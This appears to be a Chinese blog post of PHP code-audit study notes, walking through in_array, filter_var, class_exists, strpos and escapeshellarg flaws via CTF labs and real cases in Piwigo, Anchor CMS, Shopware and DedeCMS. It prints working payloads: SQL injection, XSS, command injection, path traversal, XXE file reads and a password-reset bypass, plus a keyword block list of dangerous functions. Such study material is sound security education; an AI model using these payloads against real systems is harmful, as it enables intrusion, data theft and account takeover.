1. 首页
  2. 代码审计

php代码审计学习函数缺陷(1)

in_array函数缺陷

Wish List

  • Code
class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);
  • 代码理解

代码为一个文件上传的代码,如果文件名存在于1-24中,则上传文件

  • in_array函数
in_array
检查数组中是否存在某个值
  • 题解

php弱类型比较时,6php会转换为6,6在1-24中间,所以可以进行上传

piwigo2.7.1实例分析

  • 环境搭建

php代码审计学习函数缺陷(1)

漏洞分析

  • 于picture.php:332中
case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

当case为rate时,将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数

  • include/functions_rate.inc.php:38
or !in_array($rate, $conf['rate_items']))

查找变量rate是否存在于$conf[‘rate_items’]当中

$conf['rate_items']

php代码审计学习函数缺陷(1)
  • 直接将rate进行了拼接
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'''.$anonymous_id.'','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}

只要rate为array(0,1,2,3,4,5)便可以进行绕过,而in_array第三位未设置为true

  • payload
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
  • sqlmap

php代码审计学习函数缺陷(1)

CTF

  • 环境搭建

php代码审计学习函数缺陷(1)
  • stop_hack函数
function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}

stop_hack用来过滤一些危险函数

  • 注入

php代码审计学习函数缺陷(1)

获取get的ID,通过stop_hack进行过滤并拼接到sql语句中进行查询

  • 报错注入payload
and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

php代码审计学习函数缺陷(1)
  • 参考
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160

filter_var函数缺陷

Twig

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '<img ' .
      'src="https://loremflickr.com/320/240">' .
      '<a href="{{link|escape}}">Next slide &raquo;</a>';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new TwigLoaderArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new TwigEnvironment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

使用escape和filter_var进行过滤

  • escape

默认是使用了htmlspecialchars方法进行过滤,

  • filter_var
使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
  • htmlspecialchars转义
& (& 符号)  ===============  &amp;
" (双引号)  ===============  &quot;
' (单引号)  ===============  &apos;
< (小于号)  ===============  &lt;
> (大于号)  ===============  &gt;

默认只过滤双引号,不过滤单引号,只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号

  • payload
javascript://comment%250aalert(1)

anchor-cms

  • 环境搭建

php代码审计学习函数缺陷(1)

源码分析

  • themes/default/404.php:9

php代码审计学习函数缺陷(1)
  • anchor/functions/helpers.php:34 current_url()函数
function current_url() {
    return Uri::current();
}
  • system/uri.php:84
public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }
  • detect 方法
public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server->has($method) and $uri = $server->get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }

关键代码

if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
  • system/uri.php:126
    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }

没有对xss进行过滤

  • payload
http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E

php代码审计学习函数缺陷(1)

CTF

  • 环境搭建

php代码审计学习函数缺陷(1)
  • flag.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
  • index.php
<?php 
$url = $_GET['url']; // 获取url

if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
  • payload
syst1m://"|ls;"sec-redclub.com
syst1m://"|cat<f1agi3hEre.php;"sec-redclub.com

php代码审计学习函数缺陷(1)

实例化任意对象漏洞

Snow Flake

  • code
function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller->render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this->template = $template;
    $this->variables = $variables;
  }

  public function render() {
    if ($this->variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}

如果存在如果程序存在 __autoload函数,class_exists函数就会自动调用方法

  • payload
/?c=../../../../etc/passwd

Shopware 5.3.3 (XXE)

  • 环境搭建

php代码审计学习函数缺陷(1)

代码分析

  • 漏洞触发点

php代码审计学习函数缺陷(1)
  • 打断点

php代码审计学习函数缺陷(1)
  • engine/Shopware/Controllers/Backend/ProductStream.php:52

php代码审计学习函数缺陷(1)
  • engine/Shopware/Controllers/Backend/ProductStream.php:63

php代码审计学习函数缺陷(1)

使用$this->Request()->getParam(‘sort’)获取sort,然后进入RepositoryInterface类的unserialize方法

  • engine/Shopware/Components/LogawareReflectionHelper.php:56

php代码审计学习函数缺陷(1)

调用的是LogawareReflectionHelper类的unserialize方法

$serialized为传入的sort变量,遍历取出className,传入createInstanceFromNamedArguments方法

  • engine/Shopware/Components/ReflectionHelper.php:40

php代码审计学习函数缺陷(1)

新建一个反射类,并传入参数,类名与参数都为sort中的,而sort可控

  • 发送到burp

php代码审计学习函数缺陷(1)
  • 修改payload
/test/backend/ProductStream/loadPreview?_dc=1583825465339&sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions={}&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25
  • 测试

php代码审计学习函数缺陷(1)
  • 参考
https://www.php.net/manual/zh/simplexmlelement.construct.php

CTF

  • code
<?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

当class_exists时,调用__autoload方法,但是__autoload方法不存在,新建了一个spl_autoload_register方法,类似__autoload方法

  • 列出文件(GlobIterator类)
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名

  • payload
http://127.0.0.1:8888/index.php?name=GlobIterator&param=./*.php&param2=0

php代码审计学习函数缺陷(1)
  • 读取flag
http://127.0.0.1:8888/index.php?name=SimpleXMLElement&param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&param2=2

php代码审计学习函数缺陷(1)
– 参考
https://www.php.net/manual/en/function.spl-autoload-register.php

strpos使用不当引发漏洞

False Beard

  • code
class Login {
  public function __construct($user, $pass) {
    $this->loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '<') || !strpos($user, '>')) &&
      (!strpos($pass, '<') || !strpos($pass, '>'))
    ) {
      $format = '<?xml version="1.0"?>' .
        '<user v="%s"/><pass v="%s"/>';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this->login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
  • strpos
主要是用来查找字符在字符串中首次出现的位置。

查找代码中是否含有<与>的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了

  • payload
user=<"><injected-tag property="&pass=<injected-tag>

DeDecms V5.7SP2任意密码重置漏洞

  • 环境搭建

php代码审计学习函数缺陷(1)
  • 开启会员登陆并且注册两个会员

php代码审计学习函数缺陷(1)
  • member/resetpassword.php:75 漏洞触发点
else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}

将传入的mid进行查询,查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息,然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候,进入sn函数

  • 查看数据表

php代码审计学习函数缺陷(1)

当没设置问题答案时,safequestion为0,safeanswer为null,语句变为了

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''& null == ''){
    sn()
}

 if(false && true)

php代码审计学习函数缺陷(1)
  • member/inc/inc_pwd_functions.php:150

php代码审计学习函数缺陷(1)
  • member/inc/inc_pwd_functions.php:73

进入newmail函数

php代码审计学习函数缺陷(1)

如果$send == ‘N’则发送重置邮件

sendmail($mailto,$mailtitle,$mailbody,$headers);
/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
  • member/resetpassword.php:96

如果$id为空则退出,如果row不为空,则执行

    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起,临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
  • member/templets/resetpassword2.htm:95
<input type="hidden" name="dopost" value="getpasswd">
<input type="hidden" name="setp" value="2">
<input type="hidden" name="id" value="<?php echo $id;?>" />

将setp的属性设置为2

  • member/resetpassword.php:123
elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起,新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起,临时密码错误', '-1');
        exit;
    }

如果key等于$row[‘pwd’],则重置密码成功

漏洞验证

  • 访问重置密码链接获取key
member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3

php代码审计学习函数缺陷(1)
  • 重置密码
member/resetpassword.php?dopost=getpasswd&id=3&key=VeRkLvEU

php代码审计学习函数缺陷(1)

CTF

  • 环境搭建

php代码审计学习函数缺陷(1)
  • buy.php
<script type="text/javascript" src="js/buy.js"></script>
  • bug.js
function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}

将用户提交的数字传入到api.php的buy函数

  • api.php
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }

由于是==,可进行弱类型比较,传入7个true

  • payload
[true,true,true,true,true,true,true]
  • 购买flag

php代码审计学习函数缺陷(1)

escapeshellarg与escapeshellcmd使用不当

escapeshellcmd: 除去字串中的特殊符号
escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数

postcard

  • code
class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = '[email protected]';
    } else {
      $data['to'] = $this->sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = '[email protected]';
    } else {
      $data['from'] = $this->sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer->send($_POST);

新建一个MAil类进行邮件发送

  • Php内置函数mail
bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
  • Linux中的额外参数
-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。
  • 举个例子(原文图)

php代码审计学习函数缺陷(1)
  • 结果
17220 <<< To: [email protected]
 17220 <<< Subject: Hello Alice!
 17220 <<< X-PHP-Originating-Script: 0:test.php
 17220 <<< CC: [email protected]
 17220 <<<
 17220 <<< <?php phpinfo(); ?>
 17220 <<< [EOF]
  • filter_var()问题(FILTER_VALIDATE_EMAIL)

filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。

”aaa’aaa”@example.com
  • escapeshellcmd() 和 escapeshellarg()(会造成特殊字符逃逸)

php代码审计学习函数缺陷(1)
  • 逃逸过程分析
$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."n";
var_dump($b)."n";
var_dump($cmd)."n";
system($cmd);

传入127.0.0.1′ -v -d a=1,escapeshellarg首先进行转义,处理为’127.0.0.1”’ -v -d a=1’,接着escapeshellcmd处理,处理结果为’127.0.0.1’\” -v -d a=1′,\ 被解释成了 而不再是转义字符

参考

https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html

Tips整理

  • in_array
第三个参数未设置为true,可利用弱类型比较绕过
  • filter_var(url过滤)
未对协议进行校验,可利用xxx://绕过
  • class_exists
当存在__autoload函数,会自动调用,如果类名可控,可造成危害,如果参数也可控,可利用内部函数进行攻击。
  • strpos
strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0
  • filter_var (FILTER_VALIDATE_EMAIL)
filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。
”aaa’aaa”@example.com
  • escapeshellarg与escapeshellcmd
escapeshellarg与escapeshellcmd配合使用会存在绕过
  • 尾声

本系列是弟弟跟着红日安全产出的代码审计教程系列学习的,原项目地址:[PHP-Audit-Labs]

(https://github.com/hongriSec/PHP-Audit-Labs)

原创文章,作者:syst1m,未经授权禁止转载!如若转载,请联系作者:syst1m

联系我们

在线咨询:点击这里给我发消息

QR code